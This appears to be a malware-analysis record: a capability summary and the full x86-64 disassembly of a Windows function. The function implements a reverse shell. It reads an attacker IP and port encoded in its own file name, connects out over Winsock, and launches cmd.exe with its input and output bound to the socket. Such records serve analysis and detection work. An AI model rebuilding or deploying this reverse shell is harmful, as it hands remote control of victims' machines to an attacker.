Function at 0x1400011c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov rbx, rdx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x202
lea rdx, [0x140005740]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], sil
jne 0x140001230
lea rcx, [rsp + 0x50]
call fcn.140001910
nop
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x50]
mov r9, qword [rsp + 0x50]
mov r10, qword [rsp + 0x68]
cmp r10, 0xf
cmova r8, r9
test rdx, rdx
je 0x1400012dc
lea rax, [rdx - 1]
mov rcx, rdx
cmp rax, rdx
cmovb rcx, rax
add rcx, r8
cmp byte [rcx], 0x5c
je 0x14000128d
nop dword [rax + rax]
cmp rcx, r8
je 0x1400012dc
dec rcx
cmp byte [rcx], 0x5c
jne 0x140001280
sub rcx, r8
cmp rcx, 0xffffffffffffffff
je 0x1400012dc
mov r8, rdx
sub r8, rcx
inc rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], rsi
mov qword [rbp + 0x190], rsi
cmp rdx, rcx
jb 0x14000187c
sub rdx, rcx
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rsp + 0x50]
cmp r10, 0xf
cmova rdx, r9
add rdx, rcx
jmp 0x1400012fe
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], rsi
mov qword [rbp + 0x190], rsi
xor r8d, r8d
lea rdx, [0x1400033e4]
lea rcx, [rbp + 0x178]
call fcn.140001910
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000134b
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001346
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001346
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c0c
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rcx, qword [rbp + 0x188]
lea rdx, [rcx - 4]
cmp rdx, rcx
ja 0x140001392
mov qword [rbp + 0x188], rdx
lea rax, [rbp + 0x178]
cmp qword [rbp + 0x190], 0xf
cmova rax, qword [rbp + 0x178]
mov byte [rax + rdx], 0
jmp 0x1400013ec
mov rdi, rdx
sub rdi, rcx
mov r8, qword [rbp + 0x190]
mov rax, r8
sub rax, rcx
cmp rdi, rax
ja 0x1400013da
mov qword [rbp + 0x188], rdx
lea rbx, [rbp + 0x178]
cmp r8, 0xf
cmova rbx, qword [rbp + 0x178]
add rbx, rcx
mov r8, rdi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov byte [rbx + rdi], 0
jmp 0x1400013ec
mov r9, rdi
mov rdx, rdi
lea rcx, [rbp + 0x178]
call fcn.140001a10
mov r10d, esi
mov rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x190]
mov r9, qword [rbp + 0x178]
test rdx, rdx
je 0x14000145e
mov rcx, rsi
nop dword [rax]
lea rax, [rbp + 0x178]
cmp r8, 0xf
seta r11b
cmova rax, r9
cmp byte [rcx + rax], 0x78
jne 0x140001450
lea rax, [rbp + 0x178]
test r11b, r11b
cmovne rax, r9
mov byte [rcx + rax], 0x2e
mov r8, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x188]
mov r9, qword [rbp + 0x178]
inc r10d
inc rcx
movsxd rax, r10d
cmp rax, rdx
jb 0x140001410
lea rcx, [rbp + 0x178]
cmp r8, 0xf
cmova rcx, r9
cmp rdx, 1
jb 0x14000149e
lea rax, [rdx - 1]
mov rbx, rdx
cmp rax, rdx
cmovb rbx, rax
add rbx, rcx
cmp byte [rbx], 0x5f
jne 0x14000148f
mov eax, esi
test eax, eax
je 0x140001499
cmp rbx, rcx
je 0x14000149e
dec rbx
jmp 0x140001484
sub rbx, rcx
jmp 0x1400014a5
mov rbx, 0xffffffffffffffff
mov rcx, rbx
sub rcx, rdx
lea r10, [rbx + 1]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c8], xmm1
cmp rdx, r10
jb 0x140001876
sub rdx, r10
cmp rdx, rcx
cmovb rcx, rdx
lea rdx, [rbp + 0x178]
cmp r8, 0xf
cmova rdx, r9
add rdx, r10
mov r8, rcx
lea rcx, [rbp + 0x1b8]
call fcn.140001910
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a8], xmm1
cmp qword [rbp + 0x188], rbx
cmovb rbx, qword [rbp + 0x188]
lea rdx, [rbp + 0x178]
cmp qword [rbp + 0x190], 0xf
cmova rdx, qword [rbp + 0x178]
mov r8, rbx
lea rcx, [rbp + 0x198]
call fcn.140001910
nop
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea edx, [r9 + 1]
mov ebx, 2
lea r8d, [r9 + 6]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x140005738], rax
mov word [0x140005710], bx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0xf
cmova rbx, qword [rbp + 0x1b8]
mov dword [rax], esi
xor r8d, r8d
lea rdx, [rbp + 0x170]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
cmp rbx, qword [rbp + 0x170]
jne 0x1400015be
lea rcx, str.invalid_stoul_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
cmp dword [rdi], 0x22
jne 0x1400015d1
lea rcx, str.stoul_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x140005712], ax
lea rcx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0xf
cmova rcx, qword [rbp + 0x198]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x140005714], eax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8d, [r9 + 0x10]
lea rdx, [0x140005710]
mov rcx, qword [0x140005738]
call qword [sym.imp.WS2_32.dll_WSAConnect]
xorps xmm0, xmm0
movups xmmword [0x1400058e0], xmm0
movups xmmword [0x1400058f0], xmm0
movups xmmword [0x140005900], xmm0
movups xmmword [0x140005910], xmm0
movups xmmword [0x140005920], xmm0
movups xmmword [0x140005930], xmm0
mov dword [0x1400058e0], 0x68
mov dword [0x14000591c], 0x101
mov rax, qword [0x140005738]
mov qword [0x140005940], rax
mov qword [0x140005938], rax
mov qword [0x140005930], rax
mov eax, dword [0x1400033e8]
mov dword [rbp + 0x1e0], eax
movzx eax, word [0x1400033ec]
mov word [rbp + 0x1e4], ax
xor edx, edx
mov r8d, 0x1fa
lea rcx, [rbp + 0x1e6]
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [str.d.exe]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x1400033f8]
mov dword [rsp + 0x78], eax
xor edx, edx
mov r8d, 0x1f4
lea rcx, [rsp + 0x7c]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x1e0]
lea rcx, [rdx - 2]
nop
lea rcx, [rcx + 2]
cmp word [rcx], 0
jne 0x1400016f0
lea r9, [rsp + 0x70]
xor r8d, r8d
movzx eax, word [r9 + r8*2]
mov word [rcx + r8*2], ax
lea r8, [r8 + 1]
test ax, ax
jne 0x140001702
lea rax, [0x140005720]
mov qword [rsp + 0x48], rax
lea rax, [0x1400058e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
nop
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0xf
jbe 0x140001796
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001791
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001791
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c0c
movdqa xmm0, xmmword [0x140003420]
movdqu xmmword [rbp + 0x1a8], xmm0
mov byte [rbp + 0x198], 0
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0xf
jbe 0x1400017f1
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c0c
movdqa xmm0, xmmword [0x140003420]
movdqu xmmword [rbp + 0x1c8], xmm0
mov byte [rbp + 0x1b8], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0xf
jbe 0x14000184c
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001847
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001847
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c0c
xor eax, eax
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140001bb0
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400018f0
nop
call fcn.1400018f0
int3